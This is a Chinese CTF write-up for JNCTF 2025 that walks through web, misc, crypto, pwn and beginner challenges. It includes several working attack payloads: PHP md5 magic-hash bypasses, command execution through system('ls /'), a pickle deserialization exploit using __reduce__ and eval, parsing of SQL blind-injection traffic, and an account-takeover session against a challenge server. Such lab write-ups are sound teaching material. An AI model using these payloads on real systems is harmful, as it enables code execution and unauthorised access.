JNCTF-2025-wp

Web

1.eateateat

image-20250323181607264

进来看到贪吃蛇,轻车熟路的看js文件

image-20250323181658168

在这,flag为JNCTF{Th@t_is_@_f1ag}

2.test_your_php

image-20250323181858274

php代码,php是世界上最好的语言(

第一关简单,intval($num, 0)会将$num转换为整数,0表示自动检测进制,不能等于2025就用八进制就好了,payload为?num=03751

第二关也是,parse_str($a, $b)会将$a解析为数组$b$a=JNSEC=123等同于$b['JNSEC']=123,这个又等于c的md5值,直接$a=JNSEC=MD5($c)就好了,payload为"a=JNSEC=202cb962ac59075b964b07152d234b70&c=123"

第三关可以用md5碰撞,payload为d=240610708&e=QNKCDZO

image-20250323183235433

下面的f是可以执行任意命令,可以f=system('ls /')

image-20250323183302939

有flag.php,获取image-20250323184853778

flag在注释里

1
2
3
4
?php
$flag = "JNCTF{hhhhTh1s_Re
????为什么只有一半,仔细想想好像还有一半会在哪呢???";
<br /

另一个在环境变量里,phpinfo

image-20250323185640360

最后得到flag为JNCTF{hhhhTh1s_Re@1_E@sy_P7P1111}

Misc

1.ez_pickle_jail

压缩包里点开src,有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import base64
import binascii

pickle_input = input("Enter the base64 encoded pickle: ")
try:
pickle_data = base64.b64decode(pickle_input)
except binascii.Error as e:
print("Invalid base64 encoding")
exit(1)
try:
data = pickle.loads(pickle_data)
except pickle.UnpicklingError as e:
print("Invalid pickle data")
exit(1)
pickle_output = pickle.dumps(data)
if pickle_output != pickle_data:
print(open("/flag").read())
# too many solutions,isn't it?

这是道沙盒逃逸的题目,漏洞为pickle.loads() 函数用于反序列化数据,但它会执行序列化数据中包含的任何代码。这意味着如果攻击者能够控制输入数据,就可以构造一个恶意的 pickle 数据来执行任意代码。

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import base64

class Exploit:
def __reduce__(self):
return (eval, ("open('/flag').read()",))

exploit = Exploit()
malicious_pickle = pickle.dumps(exploit)
encoded_pickle = base64.b64encode(malicious_pickle).decode('utf-8')

print(encoded_pickle)

攻击者可以将生成的 Base64 编码的 pickle 数据输入到程序中,程序在反序列化时会执行 open('/flag').read(),从而读取并输出 /flag 文件的内容。

题目有个实例,用nc连

image-20250323191112669

这样就有flag了

2.logloglog

这题真的很麻烦了image-20250323191247389

这是题目,有三个日志文件,第一个要找第一次登录的源端口,在安全日志中用日志筛选事件ID为4624的信息,这就是登录日志,看日志的这个地方

image-20250323192917080

一个一个找,找到了这个image-20250323193011790

54850就是第一题的答案。

第二题是看错误报告,事件ID为4625,要找ID,其实大多数事件都有,随便开一个image-20250323193656774

192.168.36.188就是

到第三关,问的是修改的用户名,要查找事件ID 4727、4738、4781,然后找着找着就找到了

image-20250323194441197

为Adnimistartro,对了,这个时间是重点,是14:59

第四关在应用程序的日志文件里,一共就389个事件,找sql就好了,从最近的时间找,一直看到有sql的进程ID,还有就是事情发生在10/8,不在12/26.

image-20250323195105821

看到第一个出的进程数就是,为8820

第五关在系统的日志文件里

事件ID为6005,6006,题目要求将黑客使用修改前的用户重启系统的次数,也就是在14:59前,还要注意一点,6006为关,6005为开,重启是时间很短,中间时间长的不是image-20250323195429765

所以看时间,有两次重启。

所以为54850-192.168.36.188-Adnimistartro-8820-2

flag为JNCTF{f5243f4a7fced6071ed84f9360278f6d}

3.stego

下载的文件是.qoi文件,转成png文件,flag在png文件的RGB中tmpauzk6rir

这是图片内容,喜欢芙宁娜​ :heart:

image-20250323200152241

flag在这JNCTF{W0W_Y0u_c4n_wr1t3_C0d3_t0_50lv3_LSB!!!_stego}

4.流量的秘密

这道题是我最失败的一道题,花了极长的时间写脚本写不出来,最后用一个脚本把所有我我要的flag请求包和响应包都写出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from scapy.all import *

def find_request_response_pairs(pcap_file):
packets = rdpcap(pcap_file)
request_info = {} # 存储请求包信息,键为 (src_ip, src_port, dst_ip, dst_port),值为请求内容

# 遍历数据包,寻找包含 "flag%2C<数字>" 的请求包
for packet in packets:
if packet.haslayer(TCP) and packet.haslayer(Raw):
payload = packet[Raw].load.decode('utf-8', errors='ignore')

# 检查是否存在 "flag%2C<数字>" 的模式
for num in range(100): # 假设数字范围是 0 到 99
flag_pattern = f"flag%2C{num}"
if flag_pattern in payload:
# 记录请求包的源 IP、源端口、目标 IP、目标端口和请求内容
key = (packet[IP].src, packet[TCP].sport, packet[IP].dst, packet[TCP].dport)
request_info[key] = payload
break # 找到匹配后跳出内层循环

# 遍历数据包,寻找对应的响应包
for packet in packets:
if packet.haslayer(TCP) and packet.haslayer(Raw):
# 获取响应包的 IP 和端口信息
src_ip = packet[IP].src
src_port = packet[TCP].sport
dst_ip = packet[IP].dst
dst_port = packet[TCP].dport

# 构造匹配请求的 key(响应包的 src, src_port 应该匹配请求包的 dst, dst_port)
key = (dst_ip, dst_port, src_ip, src_port)
if key in request_info:
# 找到了对应的响应包
print("【请求】")
print(request_info[key]) # 打印请求数据
print("【响应】")
print(packet[Raw].load.decode('utf-8', errors='ignore')) # 打印响应数据
print("-" * 80)

# 运行脚本
find_request_response_pairs("brute_force.pcapng")

请求的内容是sql布尔盲注的payload,我是一个一个的把所有响应为true的payload的提取出来,在用这个脚本解出来flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# 从文件中读取注入语句
file_path = "123_decoded.txt" # 确保文件路径正确
try:
with open(file_path, "r") as file:
lines = file.readlines()
print("File loaded successfully.")
except FileNotFoundError:
print(f"Error: File '{file_path}' not found.")
exit()

# 用于存储每个字符的可能范围
flag_chars = {}

# 解析每条语句
for line in lines:
# 提取字符位置和 Unicode 值
if "unicode(substr(flag," in line:
# 找到字符位置的起始和结束索引
pos_start = line.find("unicode(substr(flag,") + len("unicode(substr(flag,")
pos_end = line.find(",1))")
position = int(line[pos_start:pos_end]) # 提取字符位置

# 找到 Unicode 值的起始和结束索引
value_start = line.find(">") + 1
value_end = line.find("--")
value = int(line[value_start:value_end]) # 提取 Unicode 值

# 初始化字符的可能范围
if position not in flag_chars:
flag_chars[position] = {"min": 0, "max": 127} # ASCII 范围

# 更新字符的可能范围
if value > flag_chars[position]["min"]:
flag_chars[position]["min"] = value

# 打印每个字符的范围(调试用)
print("Character ranges:")
for i in sorted(flag_chars.keys()):
min_val = flag_chars[i]["min"]
max_val = flag_chars[i]["max"]
print(f"Position {i}: min={min_val}, max={max_val}")

# 根据范围推断每个字符
flag = ""
for i in sorted(flag_chars.keys()):
min_val = flag_chars[i]["min"]
max_val = flag_chars[i]["max"]

# 检查范围是否冲突
if min_val > max_val:
print(f"Conflict at position {i}: min={min_val}, max={max_val}")
char = "?" # 无法推断的字符用 ? 代替
else:
char = chr(min_val + 1) # 取最小值 + 1 作为字符

flag += char

print(f"Extracted flag: {flag}")

这其中的艰辛根本不想再说

总之flag为JNCTF{If_Y0u_do_NOT_wr1t3_A_5c1ipt_1t_1s_so0oOOo0o_HARD_4_U_2_f1nd_th15_flag}

Crypto

1.story

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Za qwnujxaxsnczc, twvidvaqn xaxsnczc (xscf hafma xc qfdajzar svjjvwc) zc jov cjdyn ft jov twvidvaqn ft svjjvwc fw rwfduc ft svjjvwc za x qzuovwjvkj. Jov evjofy zc dcvy xc xa xzy jf gwvxhzar qsxcczqxs qzuovwc.

Twvidvaqn xaxsnczc zc gxcvy fa jov txqj joxj, za xan rzlva cjwvjqo ft mwzjjva sxardxrv, qvwjxza svjjvwc xay qfegzaxjzfac ft svjjvwc fqqdw mzjo lxwnzar twvidvaqzvc. Efwvflvw, jovwv zc x qoxwxqjvwzcjzq yzcjwzgdjzfa ft svjjvwc joxj zc wfdrosn jov cxev tfw xsefcj xss cxeusvc ft joxj sxardxrv. Tfw zacjxaqv, rzlva x cvqjzfa ft Varszco sxardxrv, V, J, X xay F xwv jov efcj qfeefa, mozsv B, I, K xay P xwv wxwv. Szhvmzcv, JO, VW, FA, xay XA xwv jov efcj qfeefa uxzwc ft svjjvwc (jvwevy gzrwxec fw yzrwxuoc), xay CC, VV, JJ, xay TT xwv jov efcj qfeefa wvuvxjc.[1] Jov afacvacv uowxcv "VJXFZA COWYSD" wvuwvcvajc jov 12 efcj twvidvaj svjjvwc za jnuzqxs Varszco sxardxrv jvkj.

Za cfev qzuovwc, cdqo uwfuvwjzvc ft jov axjdwxs sxardxrv usxzajvkj xwv uwvcvwlvy za jov qzuovwjvkj, xay jovcv uxjjvwac oxlv jov ufjvajzxs jf gv vkusfzjvy za x qzuovwjvkj-fasn xjjxqh.

Za x czeusv cdgcjzjdjzfa qzuovw, vxqo svjjvw ft jov usxzajvkj zc wvusxqvy mzjo xafjovw, xay xan uxwjzqdsxw svjjvw za jov usxzajvkj mzss xsmxnc gv jwxactfwevy zajf jov cxev svjjvw za jov qzuovwjvkj. Tfw zacjxaqv, zt xss fqqdwwvaqvc ft jov svjjvw v jdwa zajf jov svjjvw K, x qzuovwjvkj evccxrv qfajxzazar adevwfdc zacjxaqvc ft jov svjjvw K mfdsy cdrrvcj jf x qwnujxaxsncj joxj K wvuwvcvajc v.

Jov gxczq dcv ft twvidvaqn xaxsnczc zc jf tzwcj qfdaj jov twvidvaqn ft qzuovwjvkj svjjvwc xay jova xccfqzxjv rdvccvy usxzajvkj svjjvwc mzjo jove. Efwv Kc za jov qzuovwjvkj joxa xanjozar vscv cdrrvcjc joxj K qfwwvcufayc jf v za jov usxzajvkj, gdj jozc zc afj qvwjxza; j xay x xwv xscf lvwn qfeefa za Varszco, cf K ezroj gv vzjovw ft jove. Zj zc daszhvsn jf gv x usxzajvkj b fw i, mozqo xwv svcc qfeefa. Jodc jov qwnujxaxsncj exn avvy jf jwn cvlvwxs qfegzaxjzfac ft exuuzarc gvjmvva qzuovwjvkj xay usxzajvkj svjjvwc.

Efwv qfeusvk dcv ft cjxjzcjzqc qxa gv qfaqvzlvy, cdqo xc qfaczyvwzar qfdajc ft uxzwc ft svjjvwc (gzrwxec), jwzusvjc (jwzrwxec), xay cf fa. Jozc zc yfav jf uwflzyv efwv zatfwexjzfa jf jov qwnujxaxsncj, tfw zacjxaqv, I xay D avxwsn xsmxnc fqqdw jfrvjovw za joxj fwyvw za Varszco, vlva jofdro I zjcvst zc wxwv.

Jov tzwcj hafma wvqfwyvy vkusxaxjzfa ft twvidvaqn xaxsnczc (zayvvy, ft xan hzay ft qwnujxaxsnczc) mxc rzlva za jov 9jo qvajdwn gn Xs-Hzayz, xa Xwxg ufsnexjo, za X Exadcqwzuj fa Yvqzuovwzar Qwnujfrwxuozq Evccxrvc.[3] Zj oxc gvva cdrrvcjvy joxj x qsfcv jvkjdxs cjdyn ft jov Idw'xa tzwcj gwfdroj jf szroj joxj Xwxgzq oxc x qoxwxqjvwzcjzq svjjvw twvidvaqn.[4] Zjc dcv cuwvxy, xay czezsxw cncjvec mvwv mzyvsn dcvy za Vdwfuvxa cjxjvc gn jov jzev ft jov Wvaxzccxaqv. Gn 1474, Qzqqf Czefavjjx oxy mwzjjva x exadxs fa yvqzuovwzar vaqwnujzfac ft Sxjza xay Zjxszxa jvkj.[5]

Cvlvwxs cqovevc mvwv zalvajvy gn qwnujfrwxuovwc jf yvtvxj jozc mvxhavcc za czeusv cdgcjzjdjzfa vaqwnujzfac. Jovcv zaqsdyvy:

Ofefuofazq cdgcjzjdjzfa: Dcv ft ofefuofavc — cvlvwxs xsjvwaxjzlvc jf jov efcj qfeefa svjjvwc za fjovwmzcv efafxsuoxgvjzq cdgcjzjdjzfa qzuovwc. Tfw vkxeusv, tfw Varszco, gfjo K xay N qzuovwjvkj ezroj evxa usxzajvkj V.
Ufsnxsuoxgvjzq cdgcjzjdjzfa, joxj zc, jov dcv ft cvlvwxs xsuoxgvjc — qofcva za xccfwjvy, efwv fw svcc yvlzfdc, mxnc (Svfav Xsgvwjz cvvec jf oxlv gvva jov tzwcj jf uwfufcv jozc); xay
Ufsnrwxuozq cdgcjzjdjzfa, cqovevc movwv uxzwc fw jwzusvjc ft usxzajvkj svjjvwc xwv jwvxjvy xc dazjc tfw cdgcjzjdjzfa, wxjovw joxa czarsv svjjvwc, tfw vkxeusv, jov Usxntxzw qzuovw zalvajvy gn Qoxwsvc Movxjcjfav za jov ezy-19jo qvajdwn.

X yzcxylxajxrv ft xss jovcv xjjveujc jf yvtvxj twvidvaqn qfdajzar xjjxqhc zc joxj zj zaqwvxcvc qfeuszqxjzfa ft gfjo vaqzuovwzar xay yvqzuovwzar, svxyzar jf ezcjxhvc. Txefdcsn, x Gwzjzco Tfwvzra Cvqwvjxwn zc cxzy jf oxlv wvpvqjvy jov Usxntxzw qzuovw gvqxdcv, vlva zt cqoffs gfnc qfdsy qfuv cdqqvcctdssn xc Movxjcjfav xay Usxntxzw oxy cofma, "fdw xjjxqoéc qfdsy avlvw svxwa zj!".

Jov wfjfw exqozavc ft jov tzwcj oxst ft jov 20jo qvajdwn (tfw vkxeusv, jov Vazrex exqozav) mvwv vccvajzxssn zeedav jf cjwxzrojtfwmxwy twvidvaqn xaxsnczc. Ofmvlvw, fjovw hzayc ft xaxsnczc ("xjjxqhc") cdqqvcctdssn yvqfyvy evccxrvc twfe cfev ft jofcv exqozavc.[6]

Twvidvaqn xaxsnczc wvidzwvc fasn x gxczq dayvwcjxayzar ft jov cjxjzcjzqc ft jov usxzajvkj sxardxrv xay cfev uwfgsve-cfslzar chzssc, xay, zt uvwtfwevy gn oxay, jfsvwxaqv tfw vkjvaczlv svjjvw gffhhvvuzar. Ydwzar Mfwsy Mxw ZZ, gfjo jov Gwzjzco xay jov Xevwzqxac wvqwdzjvy qfyvgwvxhvwc gn usxqzar qwfccmfwy udbbsvc za expfw avmcuxuvwc xay wdaazar qfajvcjc tfw mof qfdsy cfslv jove jov txcjvcj. Cvlvwxs ft jov qzuovwc dcvy gn jov Xkzc ufmvwc mvwv gwvxhxgsv dczar twvidvaqn xaxsnczc, tfw vkxeusv, cfev ft jov qfacdsxw qzuovwc dcvy gn jov Pxuxavcv. Evqoxazqxs evjofyc ft svjjvw qfdajzar xay cjxjzcjzqxs xaxsnczc (rvavwxssn ZGE qxwy jnuv exqozavwn) mvwv tzwcj dcvy za Mfwsy Mxw ZZ, ufcczgsn gn jov DC Xwen'c CZC. Jfyxn, jov mfwh ft svjjvw qfdajzar xay xaxsnczc zc yfav gn qfeudjvw cftjmxwv, mozqo qxa qxwwn fdj cdqo xaxsnczc za cvqfayc. Mzjo efyvwa qfeudjzar ufmvw, qsxcczqxs qzuovwc xwv daszhvsn jf uwflzyv xan wvxs uwfjvqjzfa tfw qfatzyvajzxs yxjx.

Twvidvaqn xaxsnczc oxc gvva yvcqwzgvy za tzqjzfa. Vyrxw Xssxa Ufv'c "Jov Rfsy-Gdr" xay Czw Xwjodw Qfaxa Yfnsv'c Covwsfqh Ofsevc jxsv "Jov Xylvajdwv ft jov Yxaqzar Eva" xwv vkxeusvc ft cjfwzvc mozqo yvcqwzgv jov dcv ft twvidvaqn xaxsnczc jf xjjxqh czeusv cdgcjzjdjzfa qzuovwc. Jov qzuovw za jov Ufv cjfwn zc vaqwdcjvy mzjo cvlvwxs yvqvujzfa evxcdwvc, gdj jozc zc efwv x szjvwxwn yvlzqv joxa xanjozar czraztzqxaj qwnujfrwxuozqxssn.

Tzaxssn, jov tsxr cofdsy gv twvidvaqn_xaxsnczc_za_qwnujxaxsnczc, mxwuvy mzjo PAQJT{}

这是字符频率攻击,我用这个网站解密https://quipqiup.com/

解密后得

1
Czdp nj ofp xczspl rza'dp tzo oz cpo tlzs. Bzfe Cpeeze.In cryptanalysis, frequency analysis (also known as counting letters) is the study of the frequency of letters or groups of letters in a ciphertext. The method is used as an aid to breaking classical ciphers. Frequency analysis is based on the fact that, in any given stretch of written language, certain letters and combinations of letters occur with varying frequencies. Moreover, there is a characteristic distribution of letters that is roughly the same for almost all samples of that language. For instance, given a section of English language, E, T, A and O are the most common, while Z, Q, X and J are rare. Likewise, TH, ER, ON, and AN are the most common pairs of letters (termed bigrams or digraphs), and SS, EE, TT, and FF are the most common repeats.[1] The nonsense phrase "ETAOIN SHRDLU" represents the 12 most frequent letters in typical English language text. In some ciphers, such properties of the natural language plaintext are preserved in the ciphertext, and these patterns have the potential to be exploited in a ciphertext-only attack. In a simple substitution cipher, each letter of the plaintext is replaced with another, and any particular letter in the plaintext will always be transformed into the same letter in the ciphertext. For instance, if all occurrences of the letter e turn into the letter X, a ciphertext message containing numerous instances of the letter X would suggest to a cryptanalyst that X represents e. The basic use of frequency analysis is to first count the frequency of ciphertext letters and then associate guessed plaintext letters with them. More Xs in the ciphertext than anything else suggests that X corresponds to e in the plaintext, but this is not certain; t and a are also very common in English, so X might be either of them. It is unlikely to be a plaintext z or q, which are less common. Thus the cryptanalyst may need to try several combinations of mappings between ciphertext and plaintext letters. More complex use of statistics can be conceived, such as considering counts of pairs of letters (bigrams), triplets (trigrams), and so on. This is done to provide more information to the cryptanalyst, for instance, Q and U nearly always occur together in that order in English, even though Q itself is rare. The first known recorded explanation of frequency analysis (indeed, of any kind of cryptanalysis) was given in the 9th century by Al-Kindi, an Arab polymath, in A Manuscript on Deciphering Cryptographic Messages.[3] It has been suggested that a close textual study of the Qur'an first brought to light that Arabic has a characteristic letter frequency.[4] Its use spread, and similar systems were widely used in European states by the time of the Renaissance. By 1474, Cicco Simonetta had written a manual on deciphering encryptions of Latin and Italian text.[5] Several schemes were invented by cryptographers to defeat this weakness in simple substitution encryptions. These included: Homophonic substitution: Use of homophones — several alternatives to the most common letters in otherwise monoalphabetic substitution ciphers. For example, for English, both X and Y ciphertext might mean plaintext E. Polyalphabetic substitution, that is, the use of several alphabets — chosen in assorted, more or less devious, ways (Leone Alberti seems to have been the first to propose this); and Polygraphic substitution, schemes where pairs or triplets of plaintext letters are treated as units for substitution, rather than single letters, for example, the Playfair cipher invented by Charles Wheatstone in the mid-19th century. A disadvantage of all these attempts to defeat frequency counting attacks is that it increases complication of both enciphering and deciphering, leading to mistakes. Famously, a British Foreign Secretary is said to have rejected the Playfair cipher because, even if school boys could cope successfully as Wheatstone and Playfair had shown, "our attachés could never learn it!". The rotor machines of the first half of the 20th century (for example, the Enigma machine) were essentially immune to straightforward frequency analysis. However, other kinds of analysis ("attacks") successfully decoded messages from some of those machines.[6] Frequency analysis requires only a basic understanding of the statistics of the plaintext language and some problem-solving skills, and, if performed by hand, tolerance for extensive letter bookkeeping. During World War II, both the British and the Americans recruited codebreakers by placing crossword puzzles in major newspapers and running contests for who could solve them the fastest. Several of the ciphers used by the Axis powers were breakable using frequency analysis, for example, some of the consular ciphers used by the Japanese. Mechanical methods of letter counting and statistical analysis (generally IBM card type machinery) were first used in World War II, possibly by the US Army's SIS. Today, the work of letter counting and analysis is done by computer software, which can carry out such analysis in seconds. With modern computing power, classical ciphers are unlikely to provide any real protection for confidential data. Frequency analysis has been described in fiction. Edgar Allan Poe's "The Gold-Bug" and Sir Arthur Conan Doyle's Sherlock Holmes tale "The Adventure of the Dancing Men" are examples of stories which describe the use of frequency analysis to attack simple substitution ciphers. The cipher in the Poe story is encrusted with several deception measures, but this is more a literary device than anything significant cryptographically. Finally, the flag should be frequency_analysis_in_cryptanalysis, warped with JNCTF{}

为一串可读明文,看到最后flag为JNCTF{frequency_analysis_in_cryptanalysis}

2.悲伤的故事

给的文件里有段文字,解密方法都在这段文字里了

1
2
3
这是一个悲伤的故事,他眼含泪水推开酒吧那扇厚重的门,脑中还不断回荡着酒吧里的各种乐器声,在酒精的麻痹下,他浑浑噩噩的走到了家中,看着小院栅栏中的鸟语花香,他又回想起曾经的那段时光,但他知道,他该放下了,就这样,他回到了自己的房间里,发现桌上有着一个古典雅致的盒子,他瞬间清醒了不少,激动的连忙赶过去,用钥匙打开,里面是封古典的信件,他双手颤抖着打开这封信:
亲爱的维吉!
三年了,你是否还记得“VERSd3FASFhjUkpyX19tMTFAQXsxMUdfX199”是什么意思,如果心中有那答案,就来找我吧。

这道题是多段解密,有悲伤,大概是谐音base,又有栅栏,是要fence解密,还有名字是维吉,就说明要用维吉尼亚解密,又说钥匙,密钥就是key,这样解密

先base64得TDRwq@HXcRJr__m11@A{11G___},在fence解密得TRADJ{Rr1w_1q_G@m_H1_X1_c@},最后在维吉尼亚解密,密钥为key

得到flagJNCTF{Th1s_1s_W@i_J1_N1_y@}

3.熟悉的故人

就是简单的RSA,源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import libnum
import gmpy2
import random
from secrets import FLAG

p = libnum.generate_prime(1024 + random.randint(0, 1024))
q = gmpy2.next_prime(p)
e = 65537
m = FLAG
m = libnum.s2n(m)
n = p*q
phi_n = (p-1)*(q-1)
d = libnum.invmod(e,phi_n)
c = pow(m,e,n)

print("n =",n)
print ("e =",e)
print ("c =",c)

# n = 299487015341597647919776121004167231949688268241700414027108990830625623733773719845841268481813362766547912866733711608177564250583355016088619602664748425336481765034201744572985159895585715150798269166534598956939724628696559498880597219784298678035926538950792013309608367104567539694805267059251508650074879211671636277899101015682266724064486585722087645838229287808682200953448105025969146455228490015983463746790376132783796872114120190783210924155244559381221390948899033151290151152600368322574929968834669432260194965876835069287868333462555623127602208275637571642586991525702340484853548458548057993639750566860524849624229544573184492710462829280342457207433467447389201079678219686250530932773758629428257347183339748908201954402303
# e = 65537
# c = 173280870300519923715203696834882119083542571140839028806768298820015863852835794226059877700906545110752776137513745886446530644296244068573533415866288372258806488689702896105169105563661309394552655714439116657949182579256607803282002619932851022083044252527626831071719084726862098167058504014857808959509507079927043329860218143205867802447678657763092502703595859068700554763976014721402041206266622977798828412773984216149947581746621557407684424045536228695940316363053758694192430323960905458863919028226745439720770512594999441599361470532712341687933197440708229732759256063243580119155040005536274041077293091976606018500585881239869658926701105111190472713681295382152192237128324734905038277701951508078229426733519689307305874608135

payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import libnum
import gmpy2

# 给定的参数
n = 299487015341597647919776121004167231949688268241700414027108990830625623733773719845841268481813362766547912866733711608177564250583355016088619602664748425336481765034201744572985159895585715150798269166534598956939724628696559498880597219784298678035926538950792013309608367104567539694805267059251508650074879211671636277899101015682266724064486585722087645838229287808682200953448105025969146455228490015983463746790376132783796872114120190783210924155244559381221390948899033151290151152600368322574929968834669432260194965876835069287868333462555623127602208275637571642586991525702340484853548458548057993639750566860524849624229544573184492710462829280342457207433467447389201079678219686250530932773758629428257347183339748908201954402303
e = 65537
c = 173280870300519923715203696834882119083542571140839028806768298820015863852835794226059877700906545110752776137513745886446530644296244068573533415866288372258806488689702896105169105563661309394552655714439116657949182579256607803282002619932851022083044252527626831071719084726862098167058504014857808959509507079927043329860218143205867802447678657763092502703595859068700554763976014721402041206266622977798828412773984216149947581746621557407684424045536228695940316363053758694192430323960905458863919028226745439720770512594999441599361470532712341687933197440708229732759256063243580119155040005536274041077293091976606018500585881239869658926701105111190472713681295382152192237128324734905038277701951508078229426733519689307305874608135

# 计算 p 和 q
# 由于 q 是 p 的下一个素数,我们可以通过计算 n 的平方根来找到 p
p = gmpy2.isqrt(n)
while n % p != 0:
p -= 1
q = n // p

# 计算 phi(n)
phi_n = (p - 1) * (q - 1)

# 计算私钥 d
d = libnum.invmod(e, phi_n)

# 解密密文 c
m = pow(c, d, n)

# 将整数 m 转换回字符串
flag = libnum.n2s(int(m))

print("Decrypted FLAG:", flag)

解出flag为JNCTF{Is_just_another_RSA}

Pwn

1.Signin

这道题解了也很久,主要是没仔细看源码

源码为

算了,太长了主要就是登录游戏

  1. **主程序 (main)**:
    • 初始化一个 Game 实例。
    • 进入主循环,等待用户输入命令并处理。
  2. **日志模块 (log)**:
    • 提供了 info!warn!error! 宏,用于输出带时间戳的日志信息。
  3. **游戏模块 (game)**:
    • 定义了 Game 结构体,管理注册用户、当前用户状态和游戏逻辑。
    • 提供了以下命令:
      • register <name> <password>:注册一个新用户。
      • unregister <name>:注销一个用户(仅管理员可用)。
      • sign_in <name> <password>:登录用户。
      • sign_out:登出用户。
      • become_admin:尝试提升为管理员。
      • get_flag:获取 flag(仅管理员可用)。
      • whoami:显示当前用户信息。
      • help:显示帮助信息。
      • quit:退出游戏。
  4. **用户角色 (Role)**:
    • Anonymous:未登录用户。
    • Normal:普通用户。
    • Admin:管理员。
  5. **用户信息 (Player)**:
    • 包含用户名、密码和角色。

这是代码逻辑,有个逻辑漏洞

become_admin 逻辑缺陷

  • become_admin 函数中,检查当前用户名是否为 root

    rust

    复制

    1
    2
    3
    4
    if let Some(name) = &self.current_player.name && name == "root" {
    self.current_player.role = Role::Admin;
    Ok(())
    }
  • 如果攻击者能够以某种方式将 current_player.name 设置为 root,就可以绕过密码检查,直接提升为管理员。

这里有个函数是unregister ,虽然说是仅管理员可用,但实际上源码没有限制必须要admin,所以可以先删了root,在注册root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
C:\Users\13483>ncat 172.18.137.75 31811
bash: /root/.bashrc: Permission denied
[2025-03-23 12:37:22] [+] Welcome to the sign-in challenge!
[2025-03-23 12:37:22] [+] Use 'help' to get help.
?> help
[2025-03-23 12:37:31] [+] Commands:
[2025-03-23 12:37:31] [+] register <name> <password>
[2025-03-23 12:37:31] [+] sign_in <name> <password>
[2025-03-23 12:37:31] [+] sign_out
[2025-03-23 12:37:31] [+] whoami
[2025-03-23 12:37:31] [+] help
[2025-03-23 12:37:31] [+] quit
?> unregister root
[2025-03-23 12:37:42] [+] Unregistered successfully!
?> register root 123456
[2025-03-23 12:38:36] [+] Registered successfully!
?> sign_in root 123456
[2025-03-23 12:38:46] [+] Signed in successfully!
root>$ become_admin
[2025-03-23 12:38:54] [+] Are you root? (y/n)
y
[2025-03-23 12:38:56] [+] You are now an admin!
root># get_flag
[2025-03-23 12:39:02] [+] Flag: JNCTF{43cf0bed-5e61-481b-af81-5bc93b5ba906}

得到flag

PRC

…不想写这个的wp

1.Compile it!

有个c文件,在Linux系统运行就好了

1
2
3
(base) yuhua@yuhua:/mnt/c/Users/13483/Desktop/ctf附件/compile_it$ gcc compile_it.c -o 2
(base) yuhua@yuhua:/mnt/c/Users/13483/Desktop/ctf附件/compile_it$ ./2
JNCTF{e163308222fdf1ab}

就这样

2.Run it!

给了个py脚本,运行就有flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import random

# Compatible with versions below 3.10
def randbytes(n: int) -> bytes:
return b''.join(bytes([random.randint(0, 0x100)]) for _ in range(n))

def xor(a: bytes, b: bytes) -> bytes:
return b''.join([bytes([i ^ j]) for i, j in zip(a, b)])

random.seed(0x114514)

vals = [randbytes(16) for _ in range(8)]

res = b'\x00' * 16
for val in vals:
res = xor(res, val)

res = res.hex().lower()

print('JNCTF{' + res + '}')

JNCTF{f00ffbffb628214bcd63f2b0d9286087}

3.whereisflag?

这是个系列题,有四个flag

先nc连靶机

1
2
3
4
5
6
7
8
9
10
11
12
C:\Users\13483>ncat 172.18.137.75 32621
********************
* Welcome to JNCTF *
********************

In this challenge, you will try to use Linux commands to find the flag.
Flags are in the form of `JNCTF{...}`.

Here is hint1:
Cat cat, where's the cat?
Fisrt cat sleeps under the root.
root@where-is-flag-1efd56568227461a:/home#

提示cat1在根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@where-is-flag-1efd56568227461a:/home# cat /cat1
cat /cat1
A.,.A
(- - )\-=-__---===-.
`..,,' , ( \`-.
/~/~~~~~ /...;/~~~~~ (`\`.
""""~~~~~~~~~~""~~~~~~~,','
`"
Cat1: Zzz鈥︹€?
Narrator: Shh! Don't disturb the cat! Here is your flag.

JNCTF{Zzz_Y0u_g0t_th3_f1rst_c@t!}

hint2:
Cat cat, where's the cat?
Second cat hide deep in directory.
You can "find" cat2.
root@where-is-flag-1efd56568227461a:/home#

得到flag1,提示用find命令找cat2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@where-is-flag-1efd56568227461a:/home# find / -name "cat2"
find / -name "cat2"
/etc/systemd/system/getty.target.wants/cat2
root@where-is-flag-1efd56568227461a:/home# cat /etc/systemd/system/getty.target.wants/cat2
wants/cat2ystemd/system/getty.target.
.-o=o-.
, /=o=o=o=\ .--.
_|\|=o=O=o=O=| \
__.' a`\=o=o=o=(`\ /
\. a 4/`|.-""'`\ \ ;'`) .---.
\ .' / .--' |_.' / .-._)
`) _.' / /`-.__.' /
aac `'-.____; /'-.___.-'
`"""`

cat2: meow~ here is your flag!
JNCTF{Y0u_@r3_900d_@t_f1nd!}

hint3:
Cat cat, where's the cat?
Third cat was locked in bin.
You need to "grep" it out and save it.

得到cat2,提示cat3在/bin里,用grep去找

1
2
3
4
5
6
7
8
9
10
root@where-is-flag-1efd56568227461a:/home# cd /bin
cd /bin
root@where-is-flag-1efd56568227461a:/bin# grep -r "JNCTF" /bin
grep -r "JNCTF" /bin
Binary file /bin/lock matches
root@where-is-flag-1efd56568227461a:/bin# grep -a "JNCTF" /bin/lock
grep -a "JNCTF" /bin/lock
The lock is very hard. Maybe I need a keyLooks like the key word is JNCTF?It's uselessMaybe I need to inspect the lock firstOr maybe I need ida's helpOops! The key is not existOops! This is not a key!rJNCTFOops! Wrong key word! %s
€JNCTF{7h@nks_f0r_s@ving_m3}?hDiL€@槱
